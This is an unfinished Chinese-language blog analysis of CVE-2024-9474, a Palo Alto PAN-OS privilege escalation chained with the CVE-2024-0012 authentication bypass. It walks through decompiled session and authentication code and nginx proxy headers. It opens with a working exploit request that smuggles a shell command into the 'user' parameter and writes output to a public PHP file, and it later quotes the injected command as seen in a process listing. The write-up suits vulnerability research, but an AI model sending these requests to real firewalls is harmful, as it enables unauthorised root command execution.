CVE-2024-9474 Palo Alto 权限提升漏洞分析 [未完成]

漏洞信息

漏洞编号:CVE-2024-9474

漏洞名称:Palo Alto 权限提升漏洞

漏洞利用:和 CVE-2024-0012 认证绕过漏洞配合实现权限提升到 ROOT RCE。

环境搭建参考 CVE-2024-0012 文章中。

漏洞分析

漏洞利用分为 2 个步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1


GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n;
X-PAN-AUTHCHECK: off
Connection: keep-alive

php/utils/createRemoteAppwebSession.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

WebSession::start();

/** @noinspection PhpUndefinedFunctionInspection */
$isCms = panui_platform_is_cms();
if ($isCms == 0) {
// create a remote appweb session only on a device
// 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys

$locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
/** @noinspection PhpUndefinedFunctionInspection */
panCreateRemoteAppwebSession(
$_POST['user'],
$_POST['userRole'],
$_POST['remoteHost'],
$_POST['vsys'],
$_POST['editShared'],
$_POST['prot'],
$_SERVER['SERVER_PORT'],
$_POST['rbaxml'],
$locale,
$_POST['hideHeaderBg']
);
}

session_write_close();

主要处理逻辑是 panCreateRemoteAppwebSession,上面注释表示这是 PHP 未定义函数,那么就应该是扩展什么的。

之前分析过 PHP 配置:

1
2
include_path = ".:/var/appweb/htdocs/phpincludes:/usr/lib64/php/modules" ; PAN-MODIFIED
extension_dir = "/usr/lib64/php/modules" ; PAN-MODIFIED - likely not needed. it is already working
1
tar -czvf php_modules.tar.gz /usr/lib64/php/modules/

/usr/lib64/php/modules 目录中:

image-20250607140326695

PHP 包装:

image-20250607140422445

image-20250607140447259

panhttpdmodule.so

image-20250607140501034

让 AI 帮忙转换为伪代码方便观看逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
function panCreateRemoteAppwebSession(
user: str,
userRole: str,
remoteHost: str,
accessibleVsys: str,
editShared: bool,
protocol: str,
serverPort: int,
rbaXml: str,
locale: str,
hideHeaderBg: bool
) -> int:
# 初始化变量和缓冲区
sessionData = allocateMemory(0x300)
errorBuffer = allocateMemory(0x2D8)
deviceInfo = {}
vsysNames = []

# 1. 参数验证
if not user or not userRole or not remoteHost or not accessibleVsys:
printError("Required parameters not specified")
return 1 # 错误代码

# 2. 远程主机安全检查
clientHost = getServerVar("REMOTE_HOST")
if clientHost and clientHost not in ["127.0.0.1", "::1", "0:0:0:0:0:0:0:1"]:
if not clientHost.startswith("trusted_prefix"):
printError("Unauthorized")
return 1

# 3. IP地址处理
if remoteHost.startswith("http://"):
ipPart = remoteHost[7:] # 去掉"http://"前缀

if isIPv6(ipPart):
if not validateIPv6(ipPart):
logDebug("Invalid IPv6 address")
else:
if not validateIPv4(ipPart):
logDebug("Invalid IPv4 address")

# 4. 用户认证
protocolType = getProtocolType(protocol, serverPort)
authResult = authenticateUser(
user=user,
password="", # 密码可能在其他地方处理
protocol=protocolType,
host=remoteHost,
vsys=accessibleVsys,
sessionData=sessionData
)

if authResult != 0:
printError("Authentication failed")
return 0 # 注意这里返回0表示错误

# 5. 创建PHP会话
sessionStart()
sessionSet("cmsRemoteSession", "1")
sessionSet("panorama_sessionid", "dummy") # 硬编码值
sessionSet("user", user)
sessionSet("userRole", userRole)
sessionSet("vsys", accessibleVsys)
sessionSet("editShared", editShared)

# 6. 获取设备信息
if getDeviceInfo(user, deviceInfo, errorBuffer) == 0:
sessionSet("model", deviceInfo.model)
sessionSet("serialNo", deviceInfo.serial)
sessionSet("version", deviceInfo.version)
sessionSet("isCms", "no")

if locale:
sessionSet("locale", locale)
if hideHeaderBg:
sessionSet("hideHeaderBg", hideHeaderBg)

# 7. 处理RBAC XML
if rbaXml:
# 清理XML中的换行符
cleanedXml = rbaXml.replace('\n', ' ').replace('\r', ' ')
sessionSet("RBA_XML", cleanedXml)

if applyRBACFromXml(user, cleanedXml, errorBuffer) != 0:
printError(errorBuffer)
cleanup()
return 0

# 8. 处理VSYS配置
defaultVsys = "vsys1"
if accessibleVsys:
vsysList = accessibleVsys.split(',')
if vsysList:
defaultVsys = vsysList[0]
else:
# 获取所有可用VSYS
vsysNames = getAllVsysNames(user, "localhost.localdomain")
if vsysNames:
defaultVsys = vsysNames[0]

# 设置设备和VSYS关联
if setDeviceAndVsysForSession(user, "localhost.localdomain", defaultVsys, errorBuffer) != 0:
printError(errorBuffer)
cleanup()
return 0

# 9. 清理并返回
sessionWriteClose()
freeAuthResources(sessionData)
return 0 # 成功

主要是经过一系列的验证,然后把 user ( payload ) 存储到 session 的 user 位置。

  • 远程主机安全检查
  • 用户认证

先看看为什么 远程主机安全检查 可以通过,跟进一些获取 REMOTE_HOST 的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
v12 = (const char *)pan_php_SERVER_get_str((__int64)"REMOTE_HOST", 0LL, (__int64)&v48);

__int64 __fastcall pan_php_SERVER_get_str(__int64 a1, __int64 a2, __int64 a3)
{
return pan_php_SERVER_get_str(a1, a2);
}

__int64 __fastcall pan_php_SERVER_get_str(__int64 a1, __int64 a2)
{
__int64 v2; // rax
__int64 v3; // rax
unsigned int v4; // eax
__int64 v5; // rdx

v2 = pan_php_get_superglobal((__int64)"_SERVER");
v3 = pan_zval_assoc_get_prop(v2, a1);
v4 = pan_zval_to_maybe(v3);
return pan_maybe_str_unwrap_or(v4, v5, a2);
}

__int64 __fastcall pan_php_get_superglobal(__int64 a1)
{
return pan_php_get_superglobal((const char *)a1);
}

__int64 __fastcall pan_php_get_superglobal(const char *a1)
{
__int64 v1; // r12
__int64 v3; // rax
__int64 v4; // rax

v1 = zend_hash_str_find((__int64)&executor_globals + 304, (__int64)a1, strlen(a1));
if ( (unsigned int)pan_zval_is_array(v1) )
{
if ( panui_log_target == 1 )
{
zend_error(900LL, "%s: get $%s: found", "pan_php_superglobal.c", a1);
}
else if ( panui_log_level > 899 )
{
LODWORD(v3) = getpid();
__pan_print(&unk_349C8, 8LL, "pan_php_get_superglobal", 4LL, 0LL, "trace [%d] %s(%d): get $%s: found\n", v3);
}
}
else if ( panui_log_target == 1 )
{
zend_error(900LL, "%s: get $%s: not found", "pan_php_superglobal.c", a1);
v1 = 0LL;
}
else
{
v1 = 0LL;
if ( panui_log_level > 899 )
{
LODWORD(v4) = getpid();
__pan_print(&unk_349C8, 11LL, "pan_php_get_superglobal", 4LL, 0LL, "trace [%d] %s(%d): get $%s: not found\n", v4);
}
}
return v1;
}


是通过 zend_hash_str_find ( PHP 提供的 )获取 _SERVER 也就是获取 PHP 的 $_SERVER['REMOTE_HOST']

回顾在 CVE-2024-0012 分析 PA 的架构:

1
request => nginx(443) => apache(28250) => php(php.ini,index.php) => envSetup.php => target.php

PA 是通过 nginx 反向代理把流量给 apache 的,那么就是:

1
nginx(127.0.0.1) => apache(127.0.0.1:28250)

那么 nginx + apache + php 是怎么识别客户端 IP 的呢?

答案就是 nginx 配置 proxy_set_header:

image-20250607143903378

这个组合漏洞的巧妙之处就在于 PA nginx 配置这些头部是通过包含的方式:

1
include conf/proxy_default.conf;

image-20250607144108442

但是 CVE-2024-0012 的 js.map 是没有包含的,所以在 apache 看来就是本地的 nginx 请求本地的 apache。所以第一个限制就过去了。

image-20250607144136338

然后来看第二个限制 用户认证:

AI 生成的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
// 函数目的:执行用户认证请求,处理认证流程并与认证服务通信
// 返回值:0表示成功,非0表示失败

__int64 panSwalAuthenticate(
__int64 alloc_ptr, // 内存分配器指针
int is_cms_auth, // 是否为CMS认证(1=是,0=否)
char *username, // 用户名
_BYTE *password, // 密码(可能为空)
__int64 protocol, // 协议类型
__int64 ip_address, // IP地址
__int64 accessible_vsys, // 可访问的虚拟系统(可能为空)
__int64 auth_result, // 认证结果存储结构
char *error_buf, // 错误信息缓冲区
unsigned int error_buf_size, // 错误缓冲区大小
__int64 client_info, // 客户端信息(可选)
__int64 extra_params, // 额外参数(可选)
__int64 *response_xml // 响应XML存储指针(可选)
) {
// 初始化变量
char *auth_request_xml = NULL;
char *sanitized_extra = NULL;
char *debug_request_xml = NULL;
char role_str[32] = {0};
int socket_fd = -1;
void *response_data = NULL;
int response_len = 0;
int result = 1; // 默认失败

// 清理错误缓冲区
*error_buf = 0;

// 处理可访问VSYS列表
if (accessible_vsys) {
// 复制VSYS列表到缓冲区
char *vsys_buf = create_string_buffer(alloc_ptr, strlen(accessible_vsys)+1);
if (!vsys_buf) {
set_error(error_buf, "Could not allocate buffer for VSYS names");
goto cleanup;
}
if (append_string(vsys_buf, accessible_vsys)) {
set_error(error_buf, "Could not copy VSYS names");
goto cleanup;
}
}

// 创建认证请求XML缓冲区
auth_request_xml = create_string_buffer(alloc_ptr, 1025);
debug_request_xml = create_string_buffer(alloc_ptr, 1025);
if (!auth_request_xml || !debug_request_xml) {
set_error(error_buf, "Could not allocate string buffers");
goto cleanup;
}

// 转义额外参数中的特殊字符
if (extra_params) {
sanitized_extra = xmlURIEscapeStr(extra_params, "\"' =");
}

// 构建认证请求XML
if (is_cms_auth) {
// CMS认证模式
get_role_string(*(int*)(auth_result+64), role_str, sizeof(role_str));

if (accessible_vsys && *accessible_vsys) {
// 包含VSYS列表的请求
append_xml(auth_request_xml,
"<auth-request username=\"%s\" cms-client=\"yes\" is-vsys-admin=\"yes\" "
"ip-address=\"%s\" protocol=\"%s\" role=\"%s\" %s",
username, ip_address, protocol, role_str, sanitized_extra);

if (client_info) {
append_xml(auth_request_xml, " client=\"%s\"", client_info);
}

append_xml(auth_request_xml, ">");
append_xml(auth_request_xml, "<vsys>");

// 添加每个VSYS
char *vsys = strtok(accessible_vsys, ",");
while (vsys) {
append_xml(auth_request_xml, "<member>%s</member>", vsys);
vsys = strtok(NULL, ",");
}

append_xml(auth_request_xml, "</vsys></auth-request>");
} else {
// 不包含VSYS列表的请求
append_xml(auth_request_xml,
"<auth-request username=\"%s\" cms-client=\"yes\" "
"ip-address=\"%s\" protocol=\"%s\" role=\"%s\" %s",
username, ip_address, protocol, role_str, sanitized_extra);

if (client_info) {
append_xml(auth_request_xml, " client=\"%s\"", client_info);
}

append_xml(auth_request_xml, "></auth-request>");
}
}
else if (password && *password) {
// 密码认证模式
append_xml(auth_request_xml,
"<auth-request username=\"%s\" passwd=\"%s\" "
"ip-address=\"%s\" protocol=\"%s\" %s",
username, password, ip_address, protocol, sanitized_extra);

// 创建调试用的请求(隐藏密码)
append_xml(debug_request_xml,
"<auth-request username=\"%s\" passwd=\"****\" "
"ip-address=\"%s\" protocol=\"%s\" %s",
username, ip_address, protocol, sanitized_extra);

if (client_info) {
append_xml(auth_request_xml, " client=\"%s\"", client_info);
append_xml(debug_request_xml, " client=\"%s\"", client_info);
}

append_xml(auth_request_xml, "></auth-request>");
append_xml(debug_request_xml, "></auth-request>");
}
else {
// 无密码认证模式
append_xml(auth_request_xml,
"<auth-request username=\"%s\" "
"ip-address=\"%s\" protocol=\"%s\" %s",
username, ip_address, protocol, sanitized_extra);

// 调试请求与认证请求相同
append_xml(debug_request_xml,
"<auth-request username=\"%s\" "
"ip-address=\"%s\" protocol=\"%s\" %s",
username, ip_address, protocol, sanitized_extra);

if (client_info) {
append_xml(auth_request_xml, " client=\"%s\"", client_info);
append_xml(debug_request_xml, " client=\"%s\"", client_info);
}

append_xml(auth_request_xml, "></auth-request>");
append_xml(debug_request_xml, "></auth-request>");
}

// 记录调试信息
if (log_level >= 800) {
log_debug("Auth request: %s", debug_request_xml);
}

// 连接到认证服务(本地127.0.0.1:10000)
socket_fd = connect_to_auth_service(0x7F000001, 10000);
if (socket_fd < 0) {
set_connection_error(error_buf);
goto cleanup;
}

// 发送请求并获取响应
response_data = send_and_receive(socket_fd, auth_request_xml, strlen(auth_request_xml), &response_len);
if (!response_data) {
goto close_socket;
}

// 可选: 保存原始响应XML
if (response_xml) {
*response_xml = create_string_buffer(alloc_ptr, response_len+1);
append_string(*response_xml, response_data);
}

// 记录响应调试信息
if (log_level >= 800) {
log_debug("Auth response: %s", response_data);
}

// 解析XML响应
xmlDocPtr doc = xmlReadMemory(response_data, response_len, "noname.xml", NULL, 0);
if (!doc) {
set_error(error_buf, "Error parsing XML response");
goto close_socket;
}

xmlNodePtr root = xmlDocGetRootElement(doc);
if (!root) {
set_error(error_buf, "Could not get root element");
goto free_doc;
}

// 处理认证响应
parse_auth_response(alloc_ptr, root, auth_result, error_buf, error_buf_size);

// 检查是否认证成功
if (strcmp((char*)(auth_result+132), "success") == 0) {
// 认证成功
strncpy(error_buf, (char*)(auth_result+420), error_buf_size);
result = 0;
}

free_doc:
xmlFreeDoc(doc);
close_socket:
close_socket(socket_fd);
cleanup:
// 释放所有资源
if (sanitized_extra) xmlFree(sanitized_extra);
if (auth_request_xml) free_string_buffer(auth_request_xml);
if (debug_request_xml) free_string_buffer(debug_request_xml);
if (response_data) free(response_data);
if (vsys_buf) free_string_buffer(vsys_buf);

return result;
}

因为不是 cms 然后传输的时候无密码:

1
2
3
4
5
6
7
8
authResult = authenticateUser(
user=user,
password="", # 密码可能在其他地方处理
protocol=protocolType,
host=remoteHost,
vsys=accessibleVsys,
sessionData=sessionData
)

所以 payload 就是第三种 无密码认证模式

1
<auth-request username="superuser" ip-address="" protocol="" "></auth-request>

看下 10000 是什么东西:

1
2
3
netstat -tulnp | grep 10000

/usr/local/bin/mgmtsrvr

image-20250607153001829

暂时没有分析出来,为什么会认证成功

认证成功后就走 else 然后根据 POST 的参数去设置 SESSION

image-20250607160122730

之后 EXP 的触发是通过 index.php 携带上面的 SESSION 。

watchtowr 是根据 Diff 发现 AuditLog.php、createRemoteAppwebSession.php 存在比较大的变化:

image-20250607203811754

image-20250607203830813

image-20250607203920292

但是找不到具体的触发点,参考源影公众号上面的通过进程定位。通过 exp 执行命令:

1
ps -auxf
1
sh -c export panusername="`ps -axf>/var/appweb/htdocs/unauth/5rIRJW.php`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state

PHP 里面是找不到命令的,所以是在包里面。

1
2
3
4
grep -r 'panusername' /usr/lib64/


grep -r -C 2 "panusername" /usr/lib64/

参考链接


CVE-2024-9474 Palo Alto 权限提升漏洞分析 [未完成]
https://liancccc.github.io/2025/05/06/技术/漏洞分析/CVE-2024-9474/
作者
守心
发布于
2025年5月6日
许可协议